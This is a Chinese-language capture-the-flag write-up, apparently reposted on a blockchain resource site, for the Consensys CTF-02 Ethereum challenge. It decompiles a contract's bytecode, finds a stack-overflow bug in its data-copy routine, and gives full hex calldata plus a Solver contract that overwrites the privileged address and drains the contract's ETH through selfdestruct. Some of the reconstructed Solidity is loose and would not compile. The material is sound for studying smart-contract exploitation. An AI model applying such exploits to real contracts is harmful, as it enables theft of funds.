framePointer  0x21b: PUSH2     0x222          0x7909947a framePointer 0x222 0x21e: PUSH2     0x9b           0x7909947a framePointer 0x222 0x9b 0x221: JUMP                     0x7909947a framePointer 0x222 0x222: JUMPDEST                 0x7909947a framePointer returnValue2 0x223: POP                      0x7909947a framePointer  0x224: PUSH2     0x22b          0x7909947a framePointer 0x22b 0x227: PUSH2     0x9b           0x7909947a framePointer 0x22b 0x9b 0x22a: JUMP                     0x7909947a framePointer 0x22b 0x22b: JUMPDEST                 0x7909947a framePointer returnValue3 0x22c: POP                      0x7909947a framePointer  0x22d: PUSH2     0x234          0x7909947a framePointer 0x234 0x230: PUSH2     0x9b           0x7909947a framePointer 0x234 0x9b 0x233: JUMP                     0x7909947a framePointer 0x234 0x234: JUMPDEST                 0x7909947a framePointer returnValue3 0x235: POP                      0x7909947a framePointer  0x236: PUSH2     0xc3           0x7909947a framePointer 0xc3 0x239: JUMP                     0x7909947a framePointer   => 翻译一下 function 0x7909947a_impl() public {     push_stack(0x0);     copy_data();     uint temp = get_stack(0) + get_stack(2);     assembly{         mstore(temp, 0x00)     }     pad_data();     pop_stack();     pop_stack();     pop_stack();     pop_stack();     pop_stack_frame(); } function pad_data() private {     while (get_stack(0) % 0x40 != 0) {         uint temp0 = get_stack(0);         uint temp2 = get_stack(2);         assembly {             mstore(temp0+temp2, 0x00)             mstore(mload(0x100), add(temp0, 0x01))         }     } } function copy_data() private {     while (get_stack(0) - get_stack(1) != 0) {         uint temp0 = get_stack(0);         uint temp2 = get_stack(2);         uint temp3 = get_stack(3);         assembly {             let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)             let temp_key := add(temp0, temp2)             mstore8(temp_key, temp_val)             mstore(mload(0x100), add(temp0, 0x01))         }     } } function get_stack(uint i) private returns (uint256 value){     //helper M[M[0x100+0x20*i]]     assembly {         let temp := mload(0x100)         let temp2 := sub(temp, mul(0x20, i))         value := mload(temp2)     } }

:cry:要理解这个函数再干嘛,就需要先理解其中的copy_data和pad_data在干什么。以及调用这个函数前的堆栈的结构是怎样的。

0x00 0x200 get_stack(0)
size-0x44 0x1e0 get_stack(1)
0x0120 0x1c0 get_stack(2)
0x90000 0x1a0 get_stack(3)
return pointer 0x180 get_stack(4)
stack frme 0x7909947a() 0x160 get_stack(5)
0x00 0x140 get_stack(6)
0x00 0x120 get_stack(7)

copydata的作用是,逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。

paddata的作用是,给copyadata后,0x120后拷贝的部份数据尾巴长度不足0x40的部分给他填0。比如如果是数据尾巴在0x36,则再补充4个字节的0补齐到0x40, 如果是0x76,则也是补齐4个字节的0到0x80.

则该函数的主要作用是把数据拷贝到栈底处,并规范格式。然后退出。

:crossed_fingers:solidity代码整理

由于基本上所有函数都逆向出来了,现在我们可以整理下整个合约,看下整体的合约逻辑

pragma solidity ^0.5.0;  contract ROP {     address _get;     address _die;      constructor(address get_, address die_) public payable {         _get = get_;         _die = die_;     }      function die() public payable {          require(msg.sender == _die);         selfdestruct(_die);     }     function get() public {          require(msg.sender != _get);         return _get;     }     function() public payable {          revert();     }     modifier nonPayable() {         require(msg.value == 0);         _;     }     function push_stack_frame() private {         uint256 value;         assembly{             value := mload(0x100)         }         push_stack(value)     }      function push_stack(uint256 value) private {         uint temp;         assembly{             temp := mload(0x100)             mstore(add(temp, 0x20), value)             mstore(0x100, add(temp, 0x20))         }     }     function set_impl() private{         uint temp0;         uint temp1         assembly{             temp0 := mload(0x100) //M[100]             temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]             sstore(mload(temp0), temp1)         }         pop_stack();         pop_stack();         pop_stack_frame();     }     function pop_stack_frame() private {         int redirectTo;         int pointer;         redirectTo = pop_stack();         pointer = pop_stack();         newStackPointer(pointer);         // assembly {         //     jump(redirectTo)         // }         return;     }     function stack_pointer_init() private {         assembly{             mstore(0x100, 0x100)         }     }      function pad_data() private {         while (get_stack(0) % 0x40 != 0) {             uint temp0 = get_stack(0);             uint temp2 = get_stack(2);             assembly {                 mstore(temp0+temp2, 0x00)                 mstore(mload(0x100), add(temp0, 0x01))             }         }     }     function copy_data() private {         while (get_stack(0) - get_stack(1) != 0) {             uint temp0 = get_stack(0);             uint temp2 = get_stack(2);             uint temp3 = get_stack(3);             assembly {                 let temp_val := div(mload(temp0+temp3), 0x100000000000000000000000000000000000000000000000000000000000000)                 let temp_key := add(temp0, temp2)                 mstore8(temp_key, temp_val)                 mstore(mload(0x100), add(temp0, 0x01))             }         }     }     function get_stack(uint i) private returns (uint256 value){         //helper M[M[0x100+0x20*i]]         assembly {             let temp := mload(0x100)             let temp2 := sub(temp, mul(0x20, i))             value := mload(temp2)         }     }     function 0x7909947a_impl() private {         push_stack(0x0);         copy_data();         uint temp = get_stack(0) + get_stack(2);         assembly{             mstore(temp, 0x00)         }         pad_data();         pop_stack();         pop_stack();         pop_stack();         pop_stack();         pop_stack_frame();     }     function set(uint256 value) public nonPayable{         push_stack_frame();         uint redirectTo = 0x344;         push_stack(redirectTo);         uint256 newStackPointer;         assembly{             newStackPointer := calldataload(0x04)         }         push_stack(newStackPointer);         push_stack(0x00);         set_impl();     }     function 0x7909947a() public {         stack_pointer_init();         push_stack(0x0);         uint topPointer;         assembly{             topPointer := mload(0x100)         }         push_stack(0x0);         uint size;         assembly {             size := calldatasize()             calldatacopy(0x90000, 0x44, size)         }         push_stack_frame();         uint return_pointer = 0x29b;         push_stack(return_pointer);         push_stack(0x90000);         push_stack(topPointer);         push_stack(size-0x44);         0x7909947a_impl();     } }

:necktie: 问题分析

合约逆向出来了,但是我们的问题还是存在,如何从合约中拿到它所有的ETH呢?

思路很直接,肯定是利用die函数,但是die函数要求msg.sender == die_, 因此需要重写全局变量die_的值。又发现唯一一个能写全局变量的值的函数是set_impl().分析set_impl()函数,其实质是将get_stack(1)的值写入get_stack(0)处。故我们需要构造一个stack,使得get_stack(0)==0x20 & get_stack(1) == tx.origin 以及为了使用pop_stack_frame()函数,需要保证一个返回位点位于get_stack(3)==return gadget

同时我们再之前的逆向过程中,也发现我们能够利用的唯有0x7909967a函数,传入data,然后再内部调用0x7909947a_impl()函数来利用栈溢出这一bug来重写栈。从而重新定义执行逻辑。由于再0x7909947a_impl()函数中,拷贝数据的逻辑由copydata确定。故我们需要根据copydata的逻辑来构造我们的data数据。

0x260 0x20
0x240 address(msg.sender)
0x220 return point (0x344)
0x00 0x200 0xff (当前拷贝的值的位置,offset)
size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

构造这个stack时,需要仔细理解copydata的逻辑,它是逐个字节的从内存位置90000处拷贝数据到栈底处,因为栈底保留了0x40个字节的空位给它。由于最开始开始拷贝的时候,get_stack(0) = 0x00, 故他会从我们构造好的栈底开始拷贝数据到0x120中,一直拷贝,知道get_stack(0)处,由于这个位置的数据代表的就是当前拷贝的数据数量,故拷贝值到这个位置时,需要与正确的拷贝数据值相吻合,故计算得出此时已有8个字节的数据拷贝进入,故此处应该是0xff.

第二个关键点是:我构造了栈,但是怎么保证栈顶的指针指向正确呢?也是再copydata中定义了,mstore(mload(0x100), add(temp0, 0x01))这句话就在不断地更新栈顶的指针,从而使得我们构造的栈也是可以正确使用的。

function copy_data() private {     while (get_stack(0) - get_stack(1) != 0) {         uint temp0 = get_stack(0);         uint temp2 = get_stack(2);         uint temp3 = get_stack(3);         assembly {             let temp_val := div(mload(temp0+temp3), 0x0100000000000000000000000000000000000000000000000000000000000000)             let temp_key := add(temp0, temp2)             mstore8(temp_key, temp_val)             mstore(mload(0x100), add(temp0, 0x01))         }     } }

所以构造的数据为:此时还需要加上前面被略去的0x44个字节

7909947a 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 => 0x120 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000090140 00000000000000000000000000000000000000000000000000000000000002ea 0000000000000000000000000000000000000000000000000000000000090000 0000000000000000000000000000000000000000000000000000000000000120 0000000000000000000000000000000000000000000000000000000000000140 00000000000000000000000000000000000000000000000000000000000000ff 0000000000000000000000000000000000000000000000000000000000000344 0000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D938 0000000000000000000000000000000000000000000000000000000000000020 => 0x260

:haircut_man: 验证数据

好的,我们再验证一下这个数据是否能够按照我们设想的那样工作:

function 0x7909947a_impl() private {     push_stack(0x0);     copy_data();     uint temp = get_stack(0) + get_stack(2);     assembly{         mstore(temp, 0x00)     }     pad_data();     pop_stack();     pop_stack();     pop_stack();     pop_stack();     pop_stack_frame(); }

经过copydata, 之后跳过pad_data部分,弹出4个,进入到pop_stack_frame()中,此时的栈结构为:

size-0x44 0x1e0 0x0140
0x0120 0x1c0 0x0120
0x90000 0x1a0 0x090000
return pointer 0x180 0x2ea
stack frame 0x7909947a() 0x160 0x90140
0x00 0x140 0x00000000..
0x00 0x120 0x00000000..

然后再经过pop_stack_frame()后,栈的结构变为:

function pop_stack_frame() private {         int redirectTo;         int pointer;         redirectTo = pop_stack();         pointer = pop_stack();         newStackPointer(pointer);         assembly {             jump(redirectTo)         }         //return;     }
get_stack(0) 90140 0x20
get_stack(1) 90120 address(msg.sender)
get_stack(2) 90100 return point (0x344)

同时函数跳转到0x2ea位置处,即set_impl()处,此刻即构造成功了我们需要的栈。

function set_impl() private{     uint temp0;     uint temp1     assembly{         temp0 := mload(0x100) //M[100]         temp1 := mload(sub(temp, 0x20)) //M[M[100]-0x20]         sstore(mload(temp0), temp1)     }     pop_stack();     pop_stack();     pop_stack_frame(); }

:haircut_woman: 解决方案:

由此,我们最后的解决方案如下:

//data = 0x7909947a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000009014000000000000000000000000000000000000000000000000000000000000002ea00000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000ff00000000000000000000000000000000000000000000000000000000000003440000000000000000000000003331B3Ef4F70Ed428b7978B41DAB353Ca610D9380000000000000000000000000000000000000000000000000000000000000020 pragma solidity ^0.5.0;  contract Target {     function get()public returns (address) ;     function set(uint a) public;     function die() public; }  contract Solver {     constructor(bytes memory data) public payable {         (bool result, ) = address(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).call(data);         require(result);         Target(0xEfa51BC7AaFE33e6f0E4E44d19Eab7595F4Cca87).die();         require(address(this).balance > 0);         selfdestruct(msg.sender);     } }

部分转自网络,侵权联系删除www.interchains.cchttps://www.interchains.cc/23800.html

区块链毕设网(www.interchains.cc)全网最靠谱的原创区块链毕设代做网站 部分资料来自网络,侵权联系删除! 最全最大的区块链源码站 ! QQ3039046426
区块链知识分享网, 以太坊dapp资源网, 区块链教程, fabric教程下载, 区块链书籍下载, 区块链资料下载, 区块链视频教程下载, 区块链基础教程, 区块链入门教程, 区块链资源 » Consensys CTF-02 栈溢出重定向利用

提供最优质的资源集合

立即查看 了解详情